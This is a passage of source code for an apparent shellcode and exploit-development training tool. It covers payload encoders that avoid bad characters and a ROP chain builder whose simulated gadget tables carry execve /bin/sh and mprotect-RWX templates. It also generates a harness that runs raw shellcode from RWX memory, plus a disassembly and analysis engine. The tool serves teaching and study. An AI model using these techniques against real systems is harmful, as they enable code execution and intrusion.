const keyArr = encAutoKey ? findMultiKey(bytes, badChars, 4) : parseHexInput(encKey).slice(0, 8);
if (keyArr.length === 0) { setEncResult({ error: "Invalid multi-byte key" }); return; }
keyUsed = keyArr;
encoded = bytes.map((b, i) => b ^ keyArr[i % keyArr.length]);
decoderStub = `; Rolling XOR Decoder — key: ${keyArr.map(k => "0x" + k.toString(16).padStart(2,"0")).join(" ")}
; Key length: ${keyArr.length}, Payload: ${bytes.length} bytes
; Decoder uses the same JMP-CALL-POP pattern
; with a key index that wraps every ${keyArr.length} bytes`;
decoderBytes = [0x90]; // placeholder
} else if (encMethod === "add") {
let key;
if (encAutoKey) {
for (let k = 1; k <= 255; k++) {
if (badChars.includes(k)) continue;
let ok = true;
for (const b of bytes) { if (badChars.includes((b + k) & 0xFF)) { ok = false; break; } }
if (ok) { key = k; break; }
}
if (!key) { setEncResult({ error: "No valid ADD key found." }); return; }
} else {
key = parseHexInput(encKey)[0] || 5;
}
keyUsed = [key];
encoded = bytes.map(b => (b + key) & 0xFF);
decoderStub = `; ADD Encoder (key: 0x${key.toString(16).padStart(2,"0")})
; Decoder SUBtracts key from each byte
; SUB byte [esi], 0x${key.toString(16).padStart(2,"0")} in loop`;
decoderBytes = [0x90];
} else if (encMethod === "sub") {
let key;
if (encAutoKey) {
for (let k = 1; k <= 255; k++) {
if (badChars.includes(k)) continue;
let ok = true;
for (const b of bytes) { if (badChars.includes((b - k + 256) & 0xFF)) { ok = false; break; } }
if (ok) { key = k; break; }
}
if (!key) { setEncResult({ error: "No valid SUB key found." }); return; }
} else {
key = parseHexInput(encKey)[0] || 5;
}
keyUsed = [key];
encoded = bytes.map(b => (b - key + 256) & 0xFF);
decoderStub = `; SUB Encoder (key: 0x${key.toString(16).padStart(2,"0")})
; Decoder ADDs key to each byte`;
decoderBytes = [0x90];
} else if (encMethod === "rol") {
const bits = encAutoKey ? 3 : (parseHexInput(encKey)[0] || 3);
keyUsed = [bits];
encoded = bytes.map(b => ((b << bits) | (b >>> (8 - bits))) & 0xFF);
decoderStub = `; ROL Encoder (${bits} bits)
; Decoder RORs each byte by ${bits}`;
decoderBytes = [0x90];
}
// Check encoded for bad chars
const encodedBadChars = [];
encoded.forEach((b, i) => {
if (badChars.includes(b)) encodedBadChars.push({ index: i, value: b });
});
setEncResult({
original: bytes,
encoded,
key: keyUsed,
method: encMethod,
decoderStub,
decoderBytes,
badChars,
encodedBadChars,
totalSize: decoderBytes.length + encoded.length,
});
}, [encInput, encBadChars, encMethod, encKey, encAutoKey, arch, parseHexInput, parseBadChars, findXorKey, findMultiKey]);
// Load shellcode from template into encoder
const loadTemplateToEncoder = useCallback((templateBytes) => {
const clean = templateBytes.replace(/\.\.\./g, "").trim();
setEncInput(clean);
setEncResult(null);
}, []);
// ═══ ROP GADGET EXPLORER STATE ═══
const [ropChain, setRopChain] = useState([]);
const [ropSearch, setRopSearch] = useState("");
const [ropFilter, setRopFilter] = useState("all");
const [ropSelected, setRopSelected] = useState(null);
const [ropStackAddr, setRopStackAddr] = useState(0xBFFFF000);
// Simulated gadget databases per architecture
const ROP_GADGETS = useMemo(() => ({
x86: [
{ addr: 0x080491a3, bytes: "5f c3", asm: "pop edi; ret", cat: "pop", regs: ["edi"], notes: "Load value into EDI" },
{ addr: 0x080491a2, bytes: "5e c3", asm: "pop esi; ret", cat: "pop", regs: ["esi"], notes: "Load value into ESI" },
{ addr: 0x080491a1, bytes: "5b c3", asm: "pop ebx; ret", cat: "pop", regs: ["ebx"], notes: "Load value into EBX (syscall arg1)" },
{ addr: 0x080491a4, bytes: "59 c3", asm: "pop ecx; ret", cat: "pop", regs: ["ecx"], notes: "Load value into ECX (syscall arg2)" },
{ addr: 0x080491a5, bytes: "5a c3", asm: "pop edx; ret", cat: "pop", regs: ["edx"], notes: "Load value into EDX (syscall arg3)" },
{ addr: 0x080491a6, bytes: "58 c3", asm: "pop eax; ret", cat: "pop", regs: ["eax"], notes: "Load value into EAX (syscall number)" },
{ addr: 0x080491b0, bytes: "5b 5e 5f c3", asm: "pop ebx; pop esi; pop edi; ret", cat: "multipop", regs: ["ebx","esi","edi"], notes: "Load 3 registers in one gadget" },
{ addr: 0x080491c0, bytes: "31 c0 c3", asm: "xor eax, eax; ret", cat: "zero", regs: ["eax"], notes: "Zero EAX (for building syscall num)" },
{ addr: 0x080491c4, bytes: "31 db c3", asm: "xor ebx, ebx; ret", cat: "zero", regs: ["ebx"], notes: "Zero EBX" },
{ addr: 0x080491d0, bytes: "89 e3 c3", asm: "mov ebx, esp; ret", cat: "move", regs: ["ebx"], notes: "EBX = current stack pointer" },
{ addr: 0x080491d4, bytes: "89 f9 c3", asm: "mov ecx, edi; ret", cat: "move", regs: ["ecx"], notes: "Copy EDI to ECX" },
{ addr: 0x080491e0, bytes: "40 c3", asm: "inc eax; ret", cat: "arith", regs: ["eax"], notes: "Increment EAX (build syscall number)" },
{ addr: 0x080491e4, bytes: "01 d8 c3", asm: "add eax, ebx; ret", cat: "arith", regs: ["eax"], notes: "Add EBX to EAX" },
{ addr: 0x080491f0, bytes: "cd 80 c3", asm: "int 0x80; ret", cat: "syscall", regs: [], notes: "Execute syscall (x86 Linux)" },
{ addr: 0x080491f4, bytes: "cd 80", asm: "int 0x80", cat: "syscall", regs: [], notes: "Syscall (no ret — end of chain)" },
{ addr: 0x08049200, bytes: "c3", asm: "ret", cat: "ret", regs: [], notes: "Stack pivot / alignment" },
{ addr: 0x08049210, bytes: "ff e4", asm: "jmp esp", cat: "jmp", regs: [], notes: "Jump to stack (if executable)" },
{ addr: 0x08049220, bytes: "94 c3", asm: "xchg eax, esp; ret", cat: "pivot", regs: ["eax","esp"], notes: "Stack pivot via XCHG" },
{ addr: 0x08049230, bytes: "87 ec c3", asm: "xchg esp, ebp; ret", cat: "pivot", regs: ["esp","ebp"], notes: "Stack pivot via EBP" },
{ addr: 0x08049240, bytes: "8b 06 c3", asm: "mov eax, [esi]; ret", cat: "deref", regs: ["eax"], notes: "Dereference ESI pointer into EAX" },
{ addr: 0x08049250, bytes: "89 03 c3", asm: "mov [ebx], eax; ret", cat: "write", regs: [], notes: "Write EAX to address in EBX" },
],
x64: [
{ addr: 0x00401143, bytes: "5f c3", asm: "pop rdi; ret", cat: "pop", regs: ["rdi"], notes: "Load RDI (arg1 — System V)" },
{ addr: 0x00401144, bytes: "5e c3", asm: "pop rsi; ret", cat: "pop", regs: ["rsi"], notes: "Load RSI (arg2)" },
{ addr: 0x00401145, bytes: "5a c3", asm: "pop rdx; ret", cat: "pop", regs: ["rdx"], notes: "Load RDX (arg3)" },
{ addr: 0x00401146, bytes: "58 c3", asm: "pop rax; ret", cat: "pop", regs: ["rax"], notes: "Load RAX (syscall number)" },
{ addr: 0x00401147, bytes: "59 c3", asm: "pop rcx; ret", cat: "pop", regs: ["rcx"], notes: "Load RCX (arg4 in Windows)" },
{ addr: 0x00401148, bytes: "41 5c c3", asm: "pop r12; ret", cat: "pop", regs: ["r12"], notes: "Load R12 (callee-saved scratch)" },
{ addr: 0x00401150, bytes: "5f 5e 5a c3", asm: "pop rdi; pop rsi; pop rdx; ret", cat: "multipop", regs: ["rdi","rsi","rdx"], notes: "Load 3 syscall args at once" },
{ addr: 0x00401160, bytes: "48 31 c0 c3", asm: "xor rax, rax; ret", cat: "zero", regs: ["rax"], notes: "Zero RAX" },
{ addr: 0x00401164, bytes: "48 31 ff c3", asm: "xor rdi, rdi; ret", cat: "zero", regs: ["rdi"], notes: "Zero RDI" },
{ addr: 0x00401170, bytes: "48 89 e7 c3", asm: "mov rdi, rsp; ret", cat: "move", regs: ["rdi"], notes: "RDI = stack pointer (string ref)" },
{ addr: 0x00401174, bytes: "48 89 c6 c3", asm: "mov rsi, rax; ret", cat: "move", regs: ["rsi"], notes: "Copy RAX to RSI" },
{ addr: 0x00401180, bytes: "48 ff c0 c3", asm: "inc rax; ret", cat: "arith", regs: ["rax"], notes: "Increment RAX" },
{ addr: 0x00401190, bytes: "0f 05 c3", asm: "syscall; ret", cat: "syscall", regs: [], notes: "Execute syscall (x64 Linux)" },
{ addr: 0x00401194, bytes: "0f 05", asm: "syscall", cat: "syscall", regs: [], notes: "Syscall (chain terminator)" },
{ addr: 0x004011a0, bytes: "c3", asm: "ret", cat: "ret", regs: [], notes: "NOP-slide / alignment" },
{ addr: 0x004011b0, bytes: "ff e4", asm: "jmp rsp", cat: "jmp", regs: [], notes: "Jump to stack" },
{ addr: 0x004011c0, bytes: "48 89 34 24 c3", asm: "mov [rsp], rsi; ret", cat: "write", regs: [], notes: "Write RSI to top of stack" },
{ addr: 0x004011d0, bytes: "48 8b 07 c3", asm: "mov rax, [rdi]; ret", cat: "deref", regs: ["rax"], notes: "Dereference RDI into RAX" },
],
arm32: [
{ addr: 0x00010430, bytes: "00 80 bd e8", asm: "pop {pc}", cat: "ret", regs: [], notes: "ARM return (pop PC from stack)" },
{ addr: 0x00010434, bytes: "04 b0 8d e2 00 80 bd e8", asm: "add r11, sp, #4; pop {pc}", cat: "pop", regs: ["r11"], notes: "Frame setup + return" },
{ addr: 0x00010440, bytes: "30 40 bd e8", asm: "pop {r4, r5, pc}", cat: "multipop", regs: ["r4","r5"], notes: "Load R4, R5 and return" },
{ addr: 0x00010444, bytes: "f0 41 bd e8", asm: "pop {r4, r5, r6, r7, r8, pc}", cat: "multipop", regs: ["r4","r5","r6","r7","r8"], notes: "Load R4-R8 (R7=syscall#) and return" },
{ addr: 0x00010450, bytes: "00 00 00 ef", asm: "svc #0", cat: "syscall", regs: [], notes: "ARM syscall (supervisor call)" },
{ addr: 0x00010454, bytes: "00 00 a0 e1", asm: "mov r0, r0 (nop)", cat: "ret", regs: [], notes: "ARM NOP — alignment" },
{ addr: 0x00010460, bytes: "01 00 a0 e3 1e ff 2f e1", asm: "mov r0, #1; bx lr", cat: "arith", regs: ["r0"], notes: "Set R0=1 and return" },
{ addr: 0x00010468, bytes: "00 00 a0 e3 1e ff 2f e1", asm: "mov r0, #0; bx lr", cat: "zero", regs: ["r0"], notes: "Zero R0 and return" },
{ addr: 0x00010470, bytes: "07 00 a0 e1 1e ff 2f e1", asm: "mov r0, r7; bx lr", cat: "move", regs: ["r0"], notes: "Copy R7 to R0" },
{ addr: 0x00010478, bytes: "04 00 a0 e1 1e ff 2f e1", asm: "mov r0, r4; bx lr", cat: "move", regs: ["r0"], notes: "Copy R4 to R0" },
{ addr: 0x00010480, bytes: "0d 00 a0 e1 1e ff 2f e1", asm: "mov r0, sp; bx lr", cat: "move", regs: ["r0"], notes: "R0 = stack pointer (string ref)" },
{ addr: 0x00010488, bytes: "00 00 84 e5 1e ff 2f e1", asm: "str r0, [r4]; bx lr", cat: "write", regs: [], notes: "Write R0 to [R4]" },
{ addr: 0x00010490, bytes: "00 00 94 e5 1e ff 2f e1", asm: "ldr r0, [r4]; bx lr", cat: "deref", regs: ["r0"], notes: "Dereference [R4] into R0" },
],
arm64: [
{ addr: 0x004005c0, bytes: "c0 03 5f d6", asm: "ret", cat: "ret", regs: [], notes: "AArch64 return (BR X30)" },
{ addr: 0x004005d0, bytes: "fd 7b c1 a8 c0 03 5f d6", asm: "ldp x29, x30, [sp], #16; ret", cat: "pop", regs: ["x29","x30"], notes: "Restore frame and return" },
{ addr: 0x004005e0, bytes: "01 00 00 d4", asm: "svc #0", cat: "syscall", regs: [], notes: "AArch64 syscall" },
{ addr: 0x004005e8, bytes: "01 00 00 d4 c0 03 5f d6", asm: "svc #0; ret", cat: "syscall", regs: [], notes: "Syscall with return (chainable)" },
{ addr: 0x004005f0, bytes: "e0 03 13 aa c0 03 5f d6", asm: "mov x0, x19; ret", cat: "move", regs: ["x0"], notes: "X0 = X19 (callee-saved scratch)" },
{ addr: 0x004005f8, bytes: "e0 03 14 aa c0 03 5f d6", asm: "mov x0, x20; ret", cat: "move", regs: ["x0"], notes: "X0 = X20" },
{ addr: 0x00400600, bytes: "e1 03 15 aa c0 03 5f d6", asm: "mov x1, x21; ret", cat: "move", regs: ["x1"], notes: "X1 = X21" },
{ addr: 0x00400608, bytes: "e2 03 16 aa c0 03 5f d6", asm: "mov x2, x22; ret", cat: "move", regs: ["x2"], notes: "X2 = X22" },
{ addr: 0x00400610, bytes: "e0 03 1f aa c0 03 5f d6", asm: "mov x0, xzr; ret", cat: "zero", regs: ["x0"], notes: "Zero X0 (via XZR)" },
{ addr: 0x00400618, bytes: "e8 03 1f aa c0 03 5f d6", asm: "mov x8, xzr; ret", cat: "zero", regs: ["x8"], notes: "Zero X8 (syscall reg)" },
{ addr: 0x00400620, bytes: "f3 53 c1 a8 f5 5b c2 a8 c0 03 5f d6", asm: "ldp x19,x20,[sp],#16; ldp x21,x22,[sp],#16; ret", cat: "multipop", regs: ["x19","x20","x21","x22"], notes: "Load 4 callee-saved regs" },
{ addr: 0x00400630, bytes: "e0 07 40 f9 c0 03 5f d6", asm: "ldr x0, [sp, #8]; ret", cat: "deref", regs: ["x0"], notes: "Load X0 from stack" },
{ addr: 0x00400638, bytes: "e0 03 00 91 c0 03 5f d6", asm: "mov x0, sp; ret", cat: "move", regs: ["x0"], notes: "X0 = stack pointer (string ref)" },
],
}), []);
// ROP chain pre-built templates
const ROP_TEMPLATES = useMemo(() => ({
x86: {
"execve /bin/sh": [
{ gadgetIdx: 5, value: 0x0b, label: "EAX = 11 (sys_execve)" },
{ gadgetIdx: 2, value: 0x08049300, label: "EBX = &'/bin/sh'" },
{ gadgetIdx: 3, value: 0x00, label: "ECX = NULL (argv)" },
{ gadgetIdx: 4, value: 0x00, label: "EDX = NULL (envp)" },
{ gadgetIdx: 14, value: null, label: "int 0x80 (trigger)" },
],
"mprotect RWX": [
{ gadgetIdx: 5, value: 125, label: "EAX = 125 (sys_mprotect)" },
{ gadgetIdx: 2, value: 0x08048000, label: "EBX = page addr" },
{ gadgetIdx: 3, value: 0x1000, label: "ECX = length" },
{ gadgetIdx: 4, value: 0x7, label: "EDX = 7 (RWX)" },
{ gadgetIdx: 14, value: null, label: "int 0x80" },
],
},
x64: {
"execve /bin/sh": [
{ gadgetIdx: 3, value: 59, label: "RAX = 59 (sys_execve)" },
{ gadgetIdx: 0, value: 0x00404300, label: "RDI = &'/bin/sh'" },
{ gadgetIdx: 1, value: 0x00, label: "RSI = NULL (argv)" },
{ gadgetIdx: 2, value: 0x00, label: "RDX = NULL (envp)" },
{ gadgetIdx: 13, value: null, label: "syscall" },
],
"mprotect + jmp rsp": [
{ gadgetIdx: 3, value: 10, label: "RAX = 10 (sys_mprotect)" },
{ gadgetIdx: 0, value: 0x00400000, label: "RDI = page addr" },
{ gadgetIdx: 1, value: 0x1000, label: "RSI = length" },
{ gadgetIdx: 2, value: 0x7, label: "RDX = 7 (RWX)" },
{ gadgetIdx: 12, value: null, label: "syscall; ret" },
{ gadgetIdx: 15, value: null, label: "jmp rsp → shellcode" },
],
},
arm32: {
"execve /bin/sh": [
{ gadgetIdx: 3, value: 0x41414141, label: "pop R4-R8 (R7=11=execve)" },
{ gadgetIdx: 10, value: null, label: "R0 = SP (string ptr)" },
{ gadgetIdx: 7, value: null, label: "R0 already set" },
{ gadgetIdx: 4, value: null, label: "svc #0 (trigger)" },
],
},
arm64: {
"execve /bin/sh": [
{ gadgetIdx: 10, value: null, label: "Load X19-X22 from stack" },
{ gadgetIdx: 4, value: null, label: "X0=X19 → filename" },
{ gadgetIdx: 8, value: null, label: "Zero X0 for setup" },
{ gadgetIdx: 12, value: null, label: "X0 = SP (string ref)" },
{ gadgetIdx: 3, value: null, label: "svc #0; ret" },
],
},
}), []);
const addGadgetToChain = useCallback((gadget, value = 0x41414141) => {
setRopChain(prev => [...prev, { gadget, value, id: Date.now() }]);
}, []);
const removeFromChain = useCallback((id) => {
setRopChain(prev => prev.filter(e => e.id !== id));
}, []);
const moveChainItem = useCallback((idx, dir) => {
setRopChain(prev => {
const arr = [...prev];
const newIdx = idx + dir;
if (newIdx < 0 || newIdx >= arr.length) return arr;
[arr[idx], arr[newIdx]] = [arr[newIdx], arr[idx]];
return arr;
});
}, []);
const updateChainValue = useCallback((id, newVal) => {
setRopChain(prev => prev.map(e => e.id === id ? { ...e, value: newVal } : e));
}, []);
const loadRopTemplate = useCallback((name) => {
const templates = ROP_TEMPLATES[arch];
const gadgets = ROP_GADGETS[arch];
if (!templates?.[name] || !gadgets) return;
const chain = templates[name].map(item => ({
gadget: gadgets[item.gadgetIdx] || gadgets[0],
value: item.value ?? 0x41414141,
label: item.label,
id: Date.now() + Math.random(),
}));
setRopChain(chain);
}, [arch, ROP_TEMPLATES, ROP_GADGETS]);
// ═══ HARNESS STATE ═══
const [harnessInput, setHarnessInput] = useState("");
const [harnessFormat, setHarnessFormat] = useState("elf");
// Generate harness code
const generateHarness = useCallback((scBytes) => {
const bytes = parseHexInput(scBytes || harnessInput);
if (!bytes.length) return null;
const hexStr = bytes.map(b => "\\x" + b.toString(16).padStart(2, "0")).join("");
const is64 = arch === "x64" || arch === "arm64";
const archFlag = arch === "x64" ? "elf64" : arch === "x86" ? "elf32" : arch === "arm32" ? "" : "";
const ldArch = arch === "x64" ? "elf_x86_64" : arch === "x86" ? "elf_i386" : "armelf_linux_eabi";
const nasmSource = `; shellcode.asm — ${ARCHS[arch].name}
; Assemble: nasm -f ${archFlag} shellcode.asm -o shellcode.o
; Link: ld ${is64 ? "" : "-m " + ldArch + " "}shellcode.o -o shellcode
; Test: ./shellcode
section .text
global _start
_start:
; === Shellcode payload ===
db ${bytes.map(b => "0x" + b.toString(16).padStart(2, "0")).join(", ")}`;
const cWrapper = `/*
* shellcode_test.c — Shellcode Testing Harness
* Architecture: ${ARCHS[arch].name} (${ARCHS[arch].bits}-bit)
* Payload size: ${bytes.length} bytes
*
* Compile (${arch === "x64" ? "64-bit" : "32-bit"}):
* gcc ${is64 ? "" : "-m32 "}-z execstack -fno-stack-protector \\
* -o shellcode_test shellcode_test.c
*
* Or with mmap (no execstack needed):
* gcc ${is64 ? "" : "-m32 "}-o shellcode_test shellcode_test.c
*/
#include
#include
#include
unsigned char shellcode[] =
"${hexStr}";
int main(int argc, char **argv) {
printf("[*] SHELL//LAB Test Harness\\n");
printf("[*] Architecture: ${ARCHS[arch].name}\\n");
printf("[*] Shellcode length: %lu bytes\\n", sizeof(shellcode) - 1);
/* Check for null bytes */
int nulls = 0;
for (size_t i = 0; i < sizeof(shellcode) - 1; i++) {
if (shellcode[i] == 0x00) nulls++;
}
if (nulls > 0)
printf("[!] WARNING: %d null byte(s) detected\\n", nulls);
else
printf("[+] No null bytes — clean payload\\n");
/* Allocate RWX memory */
void *exec = mmap(NULL, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (exec == MAP_FAILED) {
perror("[-] mmap failed");
return 1;
}
/* Copy shellcode to executable memory */
memcpy(exec, shellcode, sizeof(shellcode) - 1);
printf("[*] Shellcode mapped at: %p\\n", exec);
printf("[*] Executing...\\n\\n");
/* Cast to function pointer and execute */
((void(*)())exec)();
/* If we get here, shellcode returned */
printf("\\n[*] Shellcode returned cleanly\\n");
return 0;
}`;
const makefile = `# Makefile — SHELL//LAB Shellcode Build Pipeline
# Architecture: ${ARCHS[arch].name}
ARCH = ${arch === "x64" ? "elf64" : "elf32"}
LDARCH = ${ldArch}
CC = gcc
NASM = nasm
LD = ld
CFLAGS = ${is64 ? "" : "-m32 "}-z execstack -fno-stack-protector -no-pie
OBJDUMP = objdump
.PHONY: all clean test extract
all: shellcode shellcode_test
# Assemble raw shellcode
shellcode.o: shellcode.asm
\t$(NASM) -f $(ARCH) $< -o $@
shellcode: shellcode.o
\t$(LD) ${is64 ? "" : "-m $(LDARCH) "}$< -o $@
# Build C test harness
shellcode_test: shellcode_test.c
\t$(CC) $(CFLAGS) -o $@ $<
# Extract raw bytes from assembled binary
extract: shellcode
\t@echo "[*] Extracting .text section..."
\t@objcopy -O binary -j .text shellcode shellcode.bin
\t@xxd -i shellcode.bin | head -20
\t@echo "[*] Raw bytes in shellcode.bin"
\t@echo "[*] Hex dump:"
\t@xxd shellcode.bin
\t@echo "[*] Size: $$(wc -c < shellcode.bin) bytes"
# Disassemble
disasm: shellcode
\t$(OBJDUMP) -d -M intel shellcode
# Check for null bytes
nullcheck: shellcode.bin
\t@echo "[*] Null byte scan:"
\t@if grep -cP '\\x00' shellcode.bin > /dev/null 2>&1; then \\
\t\techo "[!] NULL BYTES FOUND:"; \\
\t\txxd shellcode.bin | grep ' 00'; \\
\telse \\
\t\techo "[+] No null bytes detected"; \\
\tfi
# Run shellcode in test harness
test: shellcode_test
\t@echo "[*] Running shellcode test harness..."
\t./shellcode_test
clean:
\trm -f shellcode shellcode.o shellcode_test shellcode.bin`;
const objdumpSim = `$ nasm -f ${archFlag} shellcode.asm -o shellcode.o
$ ld ${is64 ? "" : "-m " + ldArch + " "}shellcode.o -o shellcode
$ objdump -d -M intel shellcode
shellcode: file format ${is64 ? "elf64-x86-64" : "elf32-i386"}
Disassembly of section .text:
${(CODE_BASE).toString(16).padStart(8, "0")} <_start>:
${bytes.map((b, i) => {
const addr = CODE_BASE + i;
return " " + addr.toString(16) + ":\t" + b.toString(16).padStart(2, "0");
}).join("\n")}
$ objcopy -O binary -j .text shellcode shellcode.bin
$ xxd shellcode.bin
00000000: ${bytes.slice(0, 16).map(b => b.toString(16).padStart(2, "0")).join(" ")} ${bytes.slice(0, 16).map(b => b >= 0x20 && b < 0x7f ? String.fromCharCode(b) : ".").join("")}
${bytes.length > 16 ? "00000010: " + bytes.slice(16, 32).map(b => b.toString(16).padStart(2, "0")).join(" ") + " " + bytes.slice(16, 32).map(b => b >= 0x20 && b < 0x7f ? String.fromCharCode(b) : ".").join("") : ""}
$ wc -c shellcode.bin
${bytes.length} shellcode.bin
$ echo "[+] ${bytes.length} bytes, ${bytes.filter(b => b === 0).length} null bytes"`;
return { nasmSource, cWrapper, makefile, objdumpSim, bytes, hexStr };
}, [arch, harnessInput, parseHexInput]);
// ═══ ANALYSIS ENGINE (Phase 6) ═══
const [anaCode, setAnaCode] = useState("");
const [anaParsed, setAnaParsed] = useState(null);
const [anaLabels, setAnaLabels] = useState({});
const [anaAnnotations, setAnaAnnotations] = useState({});
const [anaEditingNote, setAnaEditingNote] = useState(null);
const [anaNoteText, setAnaNoteText] = useState("");
const [anaView, setAnaView] = useState("cfg"); // cfg, decomp, strings, listing
const anaLoad = useCallback((code) => {
const src = code || anaCode;
if (!src.trim()) return;
const { instructions, labels } = parseAsmLines(src, arch);
setAnaParsed(instructions);
setAnaLabels(labels);
}, [anaCode, arch]);
// Build basic blocks for CFG
const buildCFG = useCallback((parsed, labels) => {
if (!parsed) return [];
const instrs = parsed.filter(p => p.type === "instr");
if (!instrs.length) return [];
const flowOps = ["jmp","je","jz","jne","jnz","jg","jl","jge","jle","ja","jb","jae","jbe","js","jns","jnle","jnge","jnbe","jnae","call","b","bl","beq","bne","bgt","blt","bge","ble","b.eq","b.ne","cbz","cbnz","loop"];
const termOps = ["ret","bx","int","syscall","svc","jmp","b"];
const condJumps = ["je","jz","jne","jnz","jg","jl","jge","jle","ja","jb","jae","jbe","js","jns","jnle","jnge","jnbe","jnae","beq","bne","bgt","blt","bge","ble","b.eq","b.ne","cbz","cbnz","loop"];
// Find block boundaries — a new block starts after a branch, at a branch target, or at a label
const blockStarts = new Set([0]);
const labelToIdx = {};
// Map labels to instruction indices
let instrIdx = 0;
parsed.forEach(p => {
if (p.type === "label") labelToIdx[p.name] = instrIdx;
if (p.type === "instr") instrIdx++;
});
instrs.forEach((inst, i) => {
if (flowOps.includes(inst.op)) {
if (i + 1 < instrs.length) blockStarts.add(i + 1); // fall-through
const target = cleanOp(inst.operands?.[0])?.replace("short ", "");
if (labelToIdx[target] !== undefined) blockStarts.add(labelToIdx[target]);
}
});
const sortedStarts = [...blockStarts].sort((x, y) => x - y);
const blocks = [];
for (let si = 0; si < sortedStarts.length; si++) {
const start = sortedStarts[si];
const end = si + 1 < sortedStarts.length ? sortedStarts[si + 1] - 1 : instrs.length - 1;
const blockInstrs = instrs.slice(start, end + 1);
const lastInstr = blockInstrs[blockInstrs.length - 1];
// Find label name for this block
let blockLabel = null;
for (const [name, idx] of Object.entries(labelToIdx)) {
if (idx === start) { blockLabel = name; break; }
}
if (!blockLabel) blockLabel = "block_" + start;
// Determine successors
const successors = [];
if (lastInstr) {
const op = lastInstr.op;
const target = cleanOp(lastInstr.operands?.[0])?.replace("short ", "");
if (condJumps.includes(op)) {
// Conditional: both target and fall-through
if (labelToIdx[target] !== undefined) successors.push({ target: labelToIdx[target], type: "branch" });
if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" });
} else if (op === "jmp" || op === "b") {
if (labelToIdx[target] !== undefined) successors.push({ target: labelToIdx[target], type: "jump" });
} else if (termOps.includes(op) && op !== "call") {
// Terminal — no successors (ret, syscall without ret)
} else {
if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" });
}
if (op === "call") {
if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" });
}
}
blocks.push({
id: si,
label: blockLabel,
start,
end,
instrs: blockInstrs,
successors,
isEntry: start === 0,
isExit: !successors.length || lastInstr?.op === "ret" || lastInstr?.op === "int" || lastInstr?.op === "syscall" || lastInstr?.op === "svc",
});
}
return blocks;
}, []);
// Decompile to pseudo-C
const decompileToC = useCallback((parsed, labels) => {
if (!parsed) return "";
const instrs = parsed.filter(p => p.type === "instr");
const lines = [];
const labelToIdx = {};
let instrIdx = 0;
parsed.forEach(p => {
if (p.type === "label") labelToIdx[p.name] = instrIdx;
if (p.type === "instr") instrIdx++;
});
lines.push(`// Pseudo-C decompilation — ${ARCHS[arch].name}`);
lines.push(`// Generated by SHELL//LAB Analyzer`);
lines.push(`// WARNING: Approximate — review manually\n`);
lines.push(`#include `);
lines.push(`#include \n`);
lines.push(`void shellcode() {`);
const indent = " ";
let prevLabel = null;
parsed.forEach((p, i) => {
if (p.type === "label") {
lines.push(`\n${p.name}:`);
prevLabel = p.name;
return;
}
if (p.type === "meta") return;
if (p.type !== "instr") return;
const { op, operands } = p;
const dst = cleanOp(operands?.[0]);
const src = cleanOp(operands?.[1]);
const srcVal = !isNaN(parseImm(src)) ? "0x" + (parseImm(src) >>> 0).toString(16) : src;
let cLine = "";
const comment = anaAnnotations[i] ? ` // ${anaAnnotations[i]}` : "";
switch (op) {
case "mov": case "movl": case "movq": case "movabs":
cLine = `${indent}${dst} = ${srcVal};${comment}`; break;
case "xor": case "eor":
if (dst === src) cLine = `${indent}${dst} = 0;${comment} // xor ${dst}, ${dst}`;
else cLine = `${indent}${dst} ^= ${srcVal};${comment}`;
break;
case "add": case "addl": case "addq":
cLine = `${indent}${dst} += ${srcVal};${comment}`; break;
case "sub": case "subl": case "subq":
cLine = `${indent}${dst} -= ${srcVal};${comment}`; break;
case "and": case "andl":
cLine = `${indent}${dst} &= ${srcVal};${comment}`; break;
case "or": case "orl": case "orr":
cLine = `${indent}${dst} |= ${srcVal};${comment}`; break;
case "not":
cLine = `${indent}${dst} = ~${dst};${comment}`; break;
case "neg":
cLine = `${indent}${dst} = -${dst};${comment}`; break;
case "shl": case "sal":
cLine = `${indent}${dst} <<= ${srcVal || "1"};${comment}`; break;
case "shr":
cLine = `${indent}${dst} >>= ${srcVal || "1"}; // unsigned${comment}`; break;
case "inc":
cLine = `${indent}${dst}++;${comment}`; break;
case "dec":
cLine = `${indent}${dst}--;${comment}`; break;
case "push":
cLine = `${indent}*--sp = ${dst.startsWith("0") ? dst : dst};${comment} // push ${dst}`; break;
case "pop":
cLine = `${indent}${dst} = *sp++;${comment} // pop ${dst}`; break;
case "lea":
cLine = `${indent}${dst} = &${src};${comment} // lea`; break;
case "cmp": case "cmpl":
cLine = `${indent}// cmp ${dst}, ${srcVal} → sets flags${comment}`; break;
case "test": case "testl":
cLine = `${indent}// test ${dst}, ${srcVal} → sets flags (AND)${comment}`; break;
case "je": case "jz":
cLine = `${indent}if (ZF) goto ${dst};${comment}`; break;
case "jne": case "jnz":
cLine = `${indent}if (!ZF) goto ${dst};${comment}`; break;
case "jg": case "jnle":
cLine = `${indent}if (a > b) goto ${dst};${comment} // signed`; break;
case "jl": case "jnge":
cLine = `${indent}if (a < b) goto ${dst};${comment} // signed`; break;
case "ja": case "jnbe":
cLine = `${indent}if (a > b) goto ${dst};${comment} // unsigned`; break;
case "jb": case "jnae":
cLine = `${indent}if (a < b) goto ${dst};${comment} // unsigned`; break;
case "jmp": case "b":
cLine = `${indent}goto ${dst};${comment}`; break;
case "call": case "bl":
cLine = `${indent}${dst}();${comment}`; break;
case "ret":
cLine = `${indent}return;${comment}`; break;
case "nop":
cLine = `${indent}// nop${comment}`; break;
case "loop":
cLine = `${indent}if (--ecx) goto ${dst};${comment}`; break;
case "int":
if (dst === "0x80") {
const sysNum = "eax";
cLine = `${indent}syscall(${sysNum}, ebx, ecx, edx);${comment} // int 0x80`;
} else cLine = `${indent}interrupt(${dst});${comment}`;
break;
case "syscall":
cLine = `${indent}syscall(rax, rdi, rsi, rdx, r10, r8, r9);${comment}`; break;
case "svc":
cLine = `${indent}svc(${arch === "arm64" ? "x8, x0, x1, x2" : "r7, r0, r1, r2"});${comment}`; break;
case "mul": case "imul":
cLine = `${indent}eax *= ${dst};${comment}`; break;
case "div":
cLine = `${indent}eax = eax / ${dst}; edx = eax % ${dst};${comment}`; break;
case "xchg":
cLine = `${indent}swap(${dst}, ${src});${comment}`; break;
default:
cLine = `${indent}// ${op} ${(operands || []).join(", ")}${comment}`;
}
lines.push(cLine);
});
lines.push(`}`);
return lines.join("\n");
}, [arch, anaAnnotations]);
